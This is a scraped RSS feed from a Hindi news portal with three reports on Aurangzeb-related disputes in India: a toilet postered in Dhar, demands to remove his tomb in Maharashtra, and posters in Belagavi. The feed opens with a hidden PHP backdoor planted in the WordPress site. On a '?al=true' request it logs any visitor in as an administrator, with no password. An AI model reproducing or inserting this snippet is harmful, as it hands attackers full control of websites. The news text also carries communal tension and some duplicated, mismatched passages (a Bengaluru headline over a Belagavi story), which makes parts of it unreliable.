// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Aurangzeb – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 10 Mar 2025 14:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 धार में बदला सार्वजनिक शौचालय का नाम, छावा देख हिंदराज युवा संगठन का विरोध, औरंगजेब शौचालय का पोस्टर चस्पा https://pratyushaashakinayikiran.com/?p=138537 Mon, 10 Mar 2025 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=138537 धार
'छावा' फिल्म की कहानी से प्रेरित हो हिंदराज युवा संगठन धार के कुछ युवाओं ने  शहर के त्रिमूर्ति चौराहे स्थित नगर पालिका के सार्वजनिक शौचालय पर "औरंगजेब शौचालय" का पोस्टर चस्पा कर दिया था। साथ ही मूत्रालय पर औरंगजेब के फोटो भी लगा दिए थे।

इन युवाओं ने इसका वीडियो तैयार किया था, जो इंटरनेट मीडिया पर प्रसारित हुआ। इसके बाद प्रशासन और पुलिस को जानकारी मिली। रविवार की शाम को ही शौचालय से पोस्टर और औरंगजेब के फोटो हटा दिए गए। फिलहाल, यह मामला चर्चा का विषय बना हुआ है।
सार्वजनिक शौचालय का बदला नाम

    हिंदराज युवा संगठन के संस्थापक पंकज जाधव ने बताया कि हमने इसमें कोई गलत काम नहीं किया है। हमें फिल्म 'छावा' के माध्यम से यह जानकारी मिली कि किस प्रकार औरंगजेब ने हिंदुओं पर अत्याचार किए थे और धार्मिक स्थानों को नष्ट किए थे।
    इसी विरोध में हमने धार के त्रिमूर्ति नगर चौराहा स्थित नगर पालिका के सार्वजनिक शौचालय पर औरंगजेब शौचालय नाम का एक पोस्टर लगाया था। इसके साथ ही मूत्रालय पर औरंगजेब के फोटो लगाए थे, जिससे एक गंदे स्थान पर एक गंदे व्यक्ति का प्रतीक प्रदर्शित किया जा सके।"

पुलिस ने हटा दिया पोस्टर

उन्होंने आगे कहा कि "हमने इसका वीडियो बनाया और इंटरनेट मीडिया के माध्यम से पुलिस को इसकी जानकारी मिली। इसके बाद पुलिस ने यह पोस्टर और फोटो हटा दिए। हमारा उद्देश्य यह था कि फिल्म 'छावा' के माध्यम से लोगों में जागरूकता फैलाई जाए। औरंगजेब के कृत्यों के बारे में आम लोगों तक सही जानकारी पहुंचे।"

इसी विरोध में, हमने धार के त्रिमूर्ति नगर चौराहा स्थित नगर पालिका के सार्वजनिक शौचालय पर औरंगजेब शौचालय नाम का एक पोस्टर लगाया था।

इसके साथ ही मूत्रालय पर औरंगजेब के फोटो लगाए थे, ताकि एक गंदे स्थान पर एक गंदे व्यक्ति का प्रतीक प्रदर्शित किया जा सके।' उन्होंने आगे कहा- 'हमने इसका वीडियो बनाया और इंटरनेट मीडिया के माध्यम से पुलिस को इसकी जानकारी मिली।

पुलिस ने हटाए पोस्टर
इसके बाद पुलिस ने यह पोस्टर और फोटो हटा दिए। हमारा उद्देश्य यह था कि फिल्म 'छावा' के माध्यम से लोगों में जागरूकता फैलाई जाए और औरंगजेब के कृत्यों के बारे में आम लोगों तक सही जानकारी पहुंचे।

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औरंगजेब की कब्र को हटाने की मांग ने जोर पकड़ा, CM फडणवीस सहित कांग्रेस, शिवसेना एमएनएस सभी ने एक सुर में इसका समर्थन किया https://pratyushaashakinayikiran.com/?p=138473 Mon, 10 Mar 2025 10:37:00 +0000 https://pratyushaashakinayikiran.com/?p=138473 मुंबई

महाराष्ट्र के संभाजीनगर में औरंगजेब की कब्र को हटाने की मांग ने जोर पकड़ लिया है. मुख्यमंत्री देवेंद्र फडणवीस सहित कांग्रेस, शिवसेना एमएनएस सभी ने एक सुर में इसका समर्थन किया है.   

मुख्यमंत्री देवेंद्र फडणवीस ने कहा कि औरंगजेब की कब्र को हटाने की इच्छा हमारी भी है, लेकिन यह संरक्षित स्थल है. कांग्रेस सरकार के समय इसे भारतीय पुरातत्व सर्वेक्षण (ASI) से संरक्षण मिला था. वहीं कांग्रेस ने इसका जवाब देते हुए बीजेपी पर निशाना साधा है. कांग्रेस नेता नाना पटोले ने कहा कि देवेंद्र फडणवीस तीन बार मुख्यमंत्री रह चुके हैं. हर बार कांग्रेस पर आरोप लगाना सही नहीं है. मौजूदा स्थिति को देखते हुए सरकार को स्वयं निर्णय लेना चाहिए.

हमारे विचार अलग कैसे हो सकते हैं :

बीजेपी नेता सुधीर मुंगंटीवार ने कहा, मैंने अफजल  की कब्र से अतिक्रमण हटाया था, तो मेरा इस मुद्दे पर विचार अलग कैसे हो सकता है ? महाविकास अघाड़ी सरकार कब्र बनाए रखना चाहती थी, जबकि हमारी सरकार इसे हटाने के पक्ष में है. औरंगजेब जैसे आक्रमणकारी का महिमामंडन नहीं होना चाहिए. वह रावण के बाद सबसे बड़ा दुष्ट था.शिवसेना नेता शंभूराजे देसाई ने कहा कि हमारी सरकार औरंगजेब की कब्र को हटाने के पक्ष में है. इस मुद्दे पर मुख्यमंत्री और दोनों उपमुख्यमंत्री केंद्र सरकार से बातचीत करेंगे.

किसी को गलत लगने जैसी कोइ बात ही नहीं : शिवेंद्रराजे भोसले

शिवेंद्रराजे भोसले ने इस मुद्दे पर स्पष्ट किया,औरंगजेब की कब्र महाराष्ट्र में नहीं रहनी चाहिए. इसमें किसी को गलत लगने जैसी कोई बात नहीं है. इसके साथ ही महाराष्ट्र नवनिर्माण सेना (MNS) के नेता बाला नांदगांवकर ने इस मुद्दे पर कड़ा रुख अपनाते हुए कहा, शिवाजी महाराज को तकलीफ देने वाले और संभाजी महाराज की हत्या करने वाले औरंगजेब की कब्र की कोई जरूरत नहीं है. इसे जल्द से जल्द हटाया जाना चाहिए.

 अबू आजमी के बयान के बाद शुरू हुआ विवाद :

अबू आजमी ने औरंगजेब का बचाव करते हुए बयान दिया था कि मैं 17वीं सदी के मुगल बादशाह औरंगजेब को क्रूर, अत्याचारी या असहिष्णु शासक नहीं मानता. इन दिनों फिल्मों के माध्यम से मुगल बादशाह की विकृत छवि बनाई जा रही है.
हालांकि इस बयान के बाद से सियासत गर्माने पर अबू आजमी ने स्पष्टीकरण देते हुए कहा कि मैं शिवाजी महाराज और संभाजी महाराज के खिलाफ बोलने के बारे में सोच भी नहीं सकता. अबू आजमी ने कहा कि मेरे शब्दों को तोड़-मरोड़ कर दिखाया गया है. औरंगजेब के बारे में मैंने वही कहा है जो इतिहासकारों और लेखकों ने कहा है. मैंने छत्रपति शिवाजी महाराज, संभाजी महाराज या अन्य किसी भी महापुरुष के बारे में कोई अपमानजनक टिपण्णी नहीं की है.

उन्होंने कहा कि मैं इतना बड़ा नहीं हूं. मैं जो कुछ कहा था, वह असल में किन्हीं इतिहासकारों का व्यक्तव्य था. अगर मेरे इन बयानों की वजह से कोई आहत हुआ तो मैं बिना किसी शर्त के माफी मांगता हूं और अपने बयान को वापस लेता हूं. औरंगजेब पर बयानबाजी को लेकर महाराष्ट्र के ठाणे में उनके खिलाफ केस दर्ज किया गया है.
 

 

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बेंगलुरु : सड़कों पर लगे औरंगजेब के पोस्टर, लिखा- फाउंडर ऑफ अखंड भारत https://pratyushaashakinayikiran.com/?p=94192 Tue, 05 Nov 2024 18:36:00 +0000 https://pratyushaashakinayikiran.com/?p=94192  बेंगलुरु

बेंगलुरु में कुछ शरारती तत्वों ने सड़क पर क्रूर मुगल शासक औरंगजेब के पोस्टर लगा दिए. औरंगजेब की तस्वीर के साथ लिखा था- 'अखंड भारत का असली संस्थापक'. बेलगावी में लगे इन पोस्टर्स की वजह से इलाके में सांप्रदायिक तनाव फैल गया. स्थानीय विरोध के बीच पुलिस ने तत्काल कार्रवाई करते हुए बैनर को हटा दिया है.

स्थानीय लोगों ने की त्वरित कार्रवाई की मांग

बेलगावी के शाहूनगर इलाके में रविवार रात उपद्रवियों द्वारा औरंगजेब के पोस्टर लगाए जाने के बाद तनाव फैल गया. इससे लोगों में आक्रोश है. स्थानीय निवासियों ने बैनर को उकसाने की कोशिश के रूप में देखते हुए जिम्मेदार लोगों के खिलाफ त्वरित कार्रवाई की मांग की. पोस्टर में औरंगजेब की तस्वीर के साथ उसे 'सुल्तान-ए-हिंद फाउंडर ऑफ अखंड भारत' बताया गया है.

सोशल मीडिया पर शेयर की भड़काऊ पोस्ट

फिलहाल पुलिस ने पोस्टर को हटा दिया है और इलाके में सुरक्षा बढ़ा दी है. हालांकि, बाद में दूसरे समुदाय के कुछ लोगों ने सोशल मीडिया पर भड़काऊ पोस्ट शेयर करते हुए सवाल उठाया कि औरंगजेब का पोस्टर क्यों हटा दिया गया, जबकि वीर सावरकर का पोस्टर लगा रहा.

उन्होंने धमकी दी कि वे अपने पोस्टर का हटाया जाना बर्दाश्त नहीं करेंगे. अधिकारियों पर अब ऑनलाइन भड़काऊ बयान देने वालों और सोशल मीडिया पोस्ट शेयर करने वालों के खिलाफ कार्रवाई करने का दबाव है.

'सब कुछ कंट्रोल में है'

डीसीपी लॉ एंड ऑर्डर, बेलगावी ने कहा, '3 नवंबर को औरंगजेब का जन्मदिन था. कुछ लोगों ने बिना अनुमति के सार्वजनिक संपत्ति पर उसके पोस्टर लगा दिए. कॉर्पोरेशन ने उन्हें हटा दिया है. हमने एक पुलिस रिपोर्ट (पीआर) दर्ज की है और जिम्मेदार लोगों की पहचान करने के लिए काम कर रहे हैं. सोशल मीडिया पर भी एक कैंपेन चलाया जा रहा है और सब कुछ नियंत्रण में है.'

 

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